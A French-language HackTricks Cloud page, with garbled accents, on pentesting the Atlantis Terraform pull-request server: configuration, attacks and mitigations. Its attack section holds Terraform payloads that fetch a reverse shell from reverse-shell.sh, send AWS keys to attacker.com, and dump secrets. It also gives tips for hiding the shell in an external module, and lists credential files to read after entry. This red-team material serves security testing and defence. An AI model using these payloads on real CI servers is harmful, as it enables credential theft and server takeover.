Atlantis Security
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Atlantis vous aide essentiellement à exécuter terraform à partir de Pull Requests de votre serveur git.
.png)
Laboratoire local
- Allez sur la page des versions dâatlantis Ă https://github.com/runatlantis/atlantis/releases et tĂ©lĂ©chargez celle qui vous convient.
- Créez un jeton personnel (avec accÚs au dépÎt) de votre utilisateur github.
- Exécutez
./atlantis testdriveet cela créera un dépÎt de démonstration que vous pouvez utiliser pour communiquer avec atlantis. - Vous pouvez accéder à la page web à 127.0.0.1:4141.
AccĂšs Ă Atlantis
Identifiants du serveur Git
Atlantis prend en charge plusieurs hĂŽtes git tels que Github, Gitlab, Bitbucket et Azure DevOps.
Cependant, pour accĂ©der aux dĂ©pĂŽts sur ces plateformes et effectuer des actions, il doit avoir un accĂšs privilĂ©giĂ© accordĂ© (au moins des autorisations dâĂ©criture).
La documentation encourage à créer un utilisateur sur ces plateformes spécifiquement pour Atlantis, mais certaines personnes peuvent utiliser des comptes personnels.
Warning
Dans tous les cas, du point de vue dâun attaquant, le compte Atlantis sera trĂšs intĂ©ressant Ă compromettre.
Webhooks
Atlantis utilise Ă©ventuellement Webhook secrets pour valider que les webhooks quâil reçoit de votre hĂŽte Git sont lĂ©gitimes.
Une façon de confirmer cela serait de permettre uniquement les requĂȘtes provenant des IPs de votre hĂŽte Git, mais une maniĂšre plus simple est dâutiliser un Webhook Secret.
Notez que, Ă moins que vous nâutilisiez un serveur github ou bitbucket privĂ©, vous devrez exposer les points de terminaison webhook Ă Internet.
Warning
Atlantis va exposer des webhooks afin que le serveur git puisse lui envoyer des informations. Du point de vue dâun attaquant, il serait intĂ©ressant de savoir si vous pouvez lui envoyer des messages.
Identifiants du fournisseur
Atlantis exĂ©cute Terraform en exĂ©cutant les commandes terraform plan et apply sur le serveur oĂč Atlantis est hĂ©bergĂ©. Tout comme lorsque vous exĂ©cutez Terraform localement, Atlantis a besoin dâidentifiants pour votre fournisseur spĂ©cifique.
Câest Ă vous de fournir des identifiants pour votre fournisseur spĂ©cifique Ă Atlantis :
- Le Helm Chart dâAtlantis et le Module AWS Fargate ont leurs propres mĂ©canismes pour les identifiants du fournisseur. Lisez leur documentation.
- Si vous exécutez Atlantis dans le cloud, de nombreux clouds ont des moyens de donner un accÚs API cloud aux applications qui y sont exécutées, par exemple :
- RĂŽles AWS EC2 (Recherchez âEC2 Roleâ)
- Comptes de service dâinstance GCE
- De nombreux utilisateurs dĂ©finissent des variables dâenvironnement, par exemple
AWS_ACCESS_KEY, lĂ oĂč Atlantis est exĂ©cutĂ©. - Dâautres crĂ©ent les fichiers de configuration nĂ©cessaires, par exemple
~/.aws/credentials, lĂ oĂč Atlantis est exĂ©cutĂ©. - Utilisez le HashiCorp Vault Provider pour obtenir des identifiants de fournisseur.
Warning
Le conteneur oĂč Atlantis est exĂ©cutĂ© contiendra trĂšs probablement des identifiants privilĂ©giĂ©s pour les fournisseurs (AWS, GCP, GithubâŠ) quâAtlantis gĂšre via Terraform.
Page Web
Par dĂ©faut, Atlantis exĂ©cutera une page web sur le port 4141 en localhost. Cette page vous permet simplement dâactiver/dĂ©sactiver lâapplication atlantis et de vĂ©rifier lâĂ©tat du plan des dĂ©pĂŽts et de les dĂ©verrouiller (elle ne permet pas de modifier des choses, donc elle nâest pas trĂšs utile).
Vous ne la trouverez probablement pas exposĂ©e Ă Internet, mais il semble que par dĂ©faut aucun identifiant nâest nĂ©cessaire pour y accĂ©der (et sâils le sont, atlantis:atlantis sont les identifiants par dĂ©faut).
Configuration du serveur
La configuration de atlantis server peut ĂȘtre spĂ©cifiĂ©e via des options de ligne de commande, des variables dâenvironnement, un fichier de configuration ou un mĂ©lange des trois.
- Vous pouvez trouver ici la liste des options prises en charge par le serveur Atlantis.
- Vous pouvez trouver ici comment transformer une option de configuration en variable dâenvironnement.
Les valeurs sont choisies dans cet ordre :
- Options
- Variables dâenvironnement
- Fichier de configuration
Warning
Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que jetons et mots de passe.
Configuration des dépÎts
Certaines configurations affectent la maniĂšre dont les dĂ©pĂŽts sont gĂ©rĂ©s. Cependant, il est possible que chaque dĂ©pĂŽt nĂ©cessite des paramĂštres diffĂ©rents, donc il existe des moyens de spĂ©cifier chaque dĂ©pĂŽt. Voici lâordre de prioritĂ© :
- Fichier
/atlantis.yml. Ce fichier peut ĂȘtre utilisĂ© pour spĂ©cifier comment atlantis doit traiter le dĂ©pĂŽt. Cependant, par dĂ©faut, certaines clĂ©s ne peuvent pas ĂȘtre spĂ©cifiĂ©es ici sans certaines options permettant cela. - Probablement requis dâĂȘtre autorisĂ© par des options comme
allowed_overridesouallow_custom_workflows. - Configuration cĂŽtĂ© serveur : Vous pouvez le passer avec lâoption
--repo-configet câest un yaml configurant de nouveaux paramĂštres pour chaque dĂ©pĂŽt (regex pris en charge). - Valeurs par dĂ©faut.
Protections PR
Atlantis permet dâindiquer si vous souhaitez que le PR soit approuvĂ© par quelquâun dâautre (mĂȘme si cela nâest pas dĂ©fini dans la protection de branche) et/ou soit fusionnable (protections de branche passĂ©es) avant dâexĂ©cuter apply. Dâun point de vue sĂ©curitĂ©, il est recommandĂ© de dĂ©finir les deux options.
Dans le cas oĂč allowed_overrides est True, ces paramĂštres peuvent ĂȘtre Ă©crasĂ©s sur chaque projet par le fichier /atlantis.yml.
Scripts
La configuration du dĂ©pĂŽt peut spĂ©cifier des scripts Ă exĂ©cuter avant (hooks de prĂ©-traitement) et aprĂšs (hooks de post-traitement) quâun workflow est exĂ©cutĂ©.
Il nây a aucune option pour spĂ©cifier ces scripts dans le fichier /atlantis.yml du dĂ©pĂŽt.
Workflow
Dans la configuration du dépÎt (configuration cÎté serveur), vous pouvez spécifier un nouveau workflow par défaut, ou créer de nouveaux workflows personnalisés. Vous pouvez également spécifier quels dépÎts peuvent accéder aux nouveaux générés.
Ensuite, vous pouvez permettre au fichier atlantis.yaml de chaque dépÎt de spécifier le workflow à utiliser.
Caution
Si lâoption configuration cĂŽtĂ© serveur
allow_custom_workflowsest dĂ©finie sur True, les workflows peuvent ĂȘtre spĂ©cifiĂ©s dans le fichieratlantis.yamlde chaque dĂ©pĂŽt. Il est Ă©galement potentiellement nĂ©cessaire queallowed_overridesspĂ©cifie Ă©galementworkflowpour Ă©craser le workflow qui va ĂȘtre utilisĂ©.
Cela donnera essentiellement RCE dans le serveur Atlantis à tout utilisateur pouvant accéder à ce dépÎt.# atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command
Vérification de la politique Conftest
Atlantis prend en charge lâexĂ©cution de politiques conftest cĂŽtĂ© serveur contre la sortie du plan. Les cas dâutilisation courants pour cette Ă©tape incluent :
- Interdire lâutilisation dâune liste de modules.
- Affirmer les attributs dâune ressource au moment de sa crĂ©ation.
- Détecter les suppressions de ressources non intentionnelles.
- PrĂ©venir les risques de sĂ©curitĂ© (câest-Ă -dire exposer des ports sĂ©curisĂ©s au public).
Vous pouvez vérifier comment le configurer dans la documentation.
Commandes Atlantis
Dans la documentation vous pouvez trouver les options que vous pouvez utiliser pour exécuter Atlantis :
# Get help
atlantis help
# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options
# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options
Attaques
Warning
Si pendant lâexploitation vous trouvez cette erreur :
Error: Error acquiring the state lock
Vous pouvez le corriger en exécutant :
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
Atlantis plan RCE - Modification de configuration dans une nouvelle PR
Si vous avez un accĂšs en Ă©criture sur un dĂ©pĂŽt, vous pourrez crĂ©er une nouvelle branche et gĂ©nĂ©rer une PR. Si vous pouvez exĂ©cuter atlantis plan (ou peut-ĂȘtre est-ce exĂ©cutĂ© automatiquement) vous pourrez RCE Ă lâintĂ©rieur du serveur Atlantis.
Vous pouvez le faire en faisant charger une source de données externe par Atlantis. Il suffit de mettre un payload comme le suivant dans le fichier main.tf :
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Attaque plus discrĂšte
Vous pouvez effectuer cette attaque mĂȘme de maniĂšre plus discrĂšte, en suivant ces suggestions :
- Au lieu dâajouter le rev shell directement dans le fichier terraform, vous pouvez charger une ressource externe qui contient le rev shell :
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
Vous pouvez trouver le code rev shell dans https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- Dans la ressource externe, utilisez la fonctionnalitĂ© ref pour cacher le code rev shell terraform dans une branche Ă lâintĂ©rieur du dĂ©pĂŽt, quelque chose comme :
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b - Au lieu de crĂ©er une PR vers master pour dĂ©clencher Atlantis, crĂ©ez 2 branches (test1 et test2) et crĂ©ez une PR de lâune Ă lâautre. Lorsque vous avez terminĂ© lâattaque, il vous suffit de supprimer la PR et les branches.
Dump des secrets du plan Atlantis
Vous pouvez dumper les secrets utilisés par terraform en exécutant atlantis plan (terraform plan) en mettant quelque chose comme ceci dans le fichier terraform :
output "dotoken" {
value = nonsensitive(var.do_token)
}
Atlantis appliquer RCE - Modification de configuration dans une nouvelle PR
Si vous avez un accĂšs en Ă©criture sur un dĂ©pĂŽt, vous pourrez crĂ©er une nouvelle branche et gĂ©nĂ©rer une PR. Si vous pouvez exĂ©cuter atlantis apply, vous pourrez RCE Ă lâintĂ©rieur du serveur Atlantis.
Cependant, vous devrez généralement contourner certaines protections :
- Mergeable : Si cette protection est définie dans Atlantis, vous ne pouvez exécuter
atlantis applyque si la PR est mergeable (ce qui signifie que la protection de branche doit ĂȘtre contournĂ©e). - VĂ©rifiez les contournements potentiels des protections de branche
- Approuvé : Si cette protection est définie dans Atlantis, un autre utilisateur doit approuver la PR avant que vous puissiez exécuter
atlantis apply - Par défaut, vous pouvez abuser du token Gitbot pour contourner cette protection
Exécution de terraform apply sur un fichier Terraform malveillant avec local-exec.
Vous devez simplement vous assurer quâune charge utile comme les suivantes se termine dans le fichier main.tf :
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Suivez les suggestions de la technique précédente pour effectuer cette attaque de maniÚre plus discrÚte.
Injection de ParamĂštres Terraform
Lors de lâexĂ©cution de atlantis plan ou atlantis apply, terraform est exĂ©cutĂ© en arriĂšre-plan, vous pouvez passer des commandes Ă terraform depuis atlantis en commentant quelque chose comme :
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
Vous pouvez passer des variables dâenvironnement qui pourraient ĂȘtre utiles pour contourner certaines protections. VĂ©rifiez les variables dâenvironnement terraform dans https://www.terraform.io/cli/config/environment-variables
Workflow personnalisé
Exécution de commandes de construction personnalisées malveillantes spécifiées dans un fichier atlantis.yaml. Atlantis utilise le fichier atlantis.yaml de la branche de la demande de tirage, pas de master.
Cette possibilité a été mentionnée dans une section précédente :
Caution
Si le drapeau server side config
allow_custom_workflowsest dĂ©fini sur True, les workflows peuvent ĂȘtre spĂ©cifiĂ©s dans le fichieratlantis.yamlde chaque dĂ©pĂŽt. Il est Ă©galement potentiellement nĂ©cessaire queallowed_overridesspĂ©cifie Ă©galementworkflowpour remplacer le workflow qui va ĂȘtre utilisĂ©.Cela donnera essentiellement RCE sur le serveur Atlantis Ă tout utilisateur pouvant accĂ©der Ă ce dĂ©pĂŽt.
# atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command
Contourner les protections plan/apply
Si le drapeau server side config allowed_overrides a apply_requirements configuré, il est possible pour un dépÎt de modifier les protections plan/apply pour les contourner.
repos:
- id: /.*/
apply_requirements: []
PR Hijacking
Si quelquâun envoie des atlantis plan/apply commentaires sur vos pull requests valides, cela fera en sorte que terraform sâexĂ©cute quand vous ne le souhaitez pas.
De plus, si vous nâavez pas configurĂ© dans la protection de branche pour demander une réévaluation de chaque PR lorsquâun nouveau commit est poussĂ© dessus, quelquâun pourrait Ă©crire des configurations malveillantes (voir les scĂ©narios prĂ©cĂ©dents) dans la configuration terraform, exĂ©cuter atlantis plan/apply et obtenir RCE.
Câest le paramĂštre dans les protections de branche Github :
.png)
Webhook Secret
Si vous parvenez Ă voler le webhook secret utilisĂ© ou sâil nây a pas de webhook secret utilisĂ©, vous pourriez appeler le webhook Atlantis et invoquer des commandes atlatis directement.
Bitbucket
Bitbucket Cloud ne prend pas en charge les webhook secrets. Cela pourrait permettre aux attaquants de falsifier des requĂȘtes depuis Bitbucket. Assurez-vous de nâautoriser que les IPs de Bitbucket.
- Cela signifie quâun attaquant pourrait faire des requĂȘtes falsifiĂ©es Ă Atlantis qui semblent provenir de Bitbucket.
- Si vous spécifiez
--repo-allowlist, alors ils ne pourraient falsifier que des requĂȘtes concernant ces dĂ©pĂŽts, donc le plus de dĂ©gĂąts quâils pourraient causer serait de planifier/appliquer sur vos propres dĂ©pĂŽts. - Pour Ă©viter cela, autorisez les adresses IP de Bitbucket (voir les adresses IPv4 sortantes).
Post-Exploitation
Si vous avez réussi à accéder au serveur ou au moins à obtenir un LFI, il y a des choses intéressantes que vous devriez essayer de lire :
/home/atlantis/.git-credentialsContient les identifiants dâaccĂšs vcs/atlantis-data/atlantis.dbContient les identifiants dâaccĂšs vcs avec plus dâinfos/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstateFichier dâĂ©tat terraform- Exemple : /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environVariables dâenvironnement/proc/[2-20]/cmdlineLigne de commande deatlantis server(peut contenir des donnĂ©es sensibles)
Mitigations
Donât Use On Public Repos
Parce que nâimporte qui peut commenter sur des pull requests publiques, mĂȘme avec toutes les mitigations de sĂ©curitĂ© disponibles, il est toujours dangereux dâexĂ©cuter Atlantis sur des dĂ©pĂŽts publics sans une configuration appropriĂ©e des paramĂštres de sĂ©curitĂ©.
Donât Use --allow-fork-prs
Si vous exĂ©cutez sur un dĂ©pĂŽt public (ce qui nâest pas recommandĂ©, voir ci-dessus), vous ne devriez pas dĂ©finir --allow-fork-prs (par dĂ©faut Ă false) car nâimporte qui peut ouvrir une pull request depuis son fork vers votre dĂ©pĂŽt.
--repo-allowlist
Atlantis nécessite que vous spécifiiez une liste blanche de dépÎts à partir desquels il acceptera des webhooks via le drapeau --repo-allowlist. Par exemple :
- DépÎts spécifiques :
--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests - Votre organisation entiĂšre :
--repo-allowlist=github.com/runatlantis/* - Chaque dépÎt dans votre installation GitHub Enterprise :
--repo-allowlist=github.yourcompany.com/* - Tous les dépÎts :
--repo-allowlist=*. Utile lorsque vous ĂȘtes dans un rĂ©seau protĂ©gĂ© mais dangereux sans Ă©galement dĂ©finir un webhook secret.
Ce drapeau garantit que votre installation Atlantis nâest pas utilisĂ©e avec des dĂ©pĂŽts que vous ne contrĂŽlez pas. Voir atlantis server --help pour plus de dĂ©tails.
Protect Terraform Planning
Si des attaquants soumettent des pull requests avec du code Terraform malveillant dans votre modĂšle de menace, vous devez ĂȘtre conscient que les approbations terraform apply ne suffisent pas. Il est possible dâexĂ©cuter du code malveillant dans un terraform plan en utilisant la source de donnĂ©es externe ou en spĂ©cifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants.
Pour éviter cela, vous pourriez :
- IntĂ©grer les fournisseurs dans lâimage Atlantis ou hĂ©berger et refuser lâegress en production.
- Mettre en Ćuvre le protocole de registre de fournisseurs en interne et refuser lâegress public, de cette façon vous contrĂŽlez qui a un accĂšs en Ă©criture au registre.
- Modifier votre configuration de dĂ©pĂŽt cĂŽtĂ© serveurâs
planĂ©tape pour valider lâutilisation de fournisseurs ou de sources de donnĂ©es non autorisĂ©s ou de PRs provenant dâutilisateurs non autorisĂ©s. Vous pourriez Ă©galement ajouter une validation supplĂ©mentaire Ă ce stade, par exemple exiger un âpouce en lâairâ sur la PR avant de permettre Ă laplande continuer. Conftest pourrait ĂȘtre utile ici.
Webhook Secrets
Atlantis doit ĂȘtre exĂ©cutĂ© avec des secrets de webhook dĂ©finis via les variables dâenvironnement $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. MĂȘme avec le drapeau --repo-allowlist dĂ©fini, sans un webhook secret, les attaquants pourraient faire des requĂȘtes Ă Atlantis en se faisant passer pour un dĂ©pĂŽt qui est sur la liste blanche. Les secrets de webhook garantissent que les requĂȘtes webhook proviennent rĂ©ellement de votre fournisseur VCS (GitHub ou GitLab).
Si vous utilisez Azure DevOps, au lieu des secrets de webhook, ajoutez un nom dâutilisateur et un mot de passe de base.
Azure DevOps Basic Authentication
Azure DevOps prend en charge lâenvoi dâun en-tĂȘte dâauthentification de base dans tous les Ă©vĂ©nements de webhook. Cela nĂ©cessite dâutiliser une URL HTTPS pour votre emplacement de webhook.
SSL/HTTPS
Si vous utilisez des secrets de webhook mais que votre trafic est sur HTTP, alors les secrets de webhook pourraient ĂȘtre volĂ©s. Activez SSL/HTTPS en utilisant les drapeaux --ssl-cert-file et --ssl-key-file.
Enable Authentication on Atlantis Web Server
Il est fortement recommandĂ© dâactiver lâauthentification dans le service web. Activez BasicAuth en utilisant --web-basic-auth=true et configurez un nom dâutilisateur et un mot de passe en utilisant les drapeaux --web-username=yourUsername et --web-password=yourPassword.
Vous pouvez Ă©galement passer ces valeurs en tant que variables dâenvironnement ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername et ATLANTIS_WEB_PASSWORD=yourPassword.
References
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

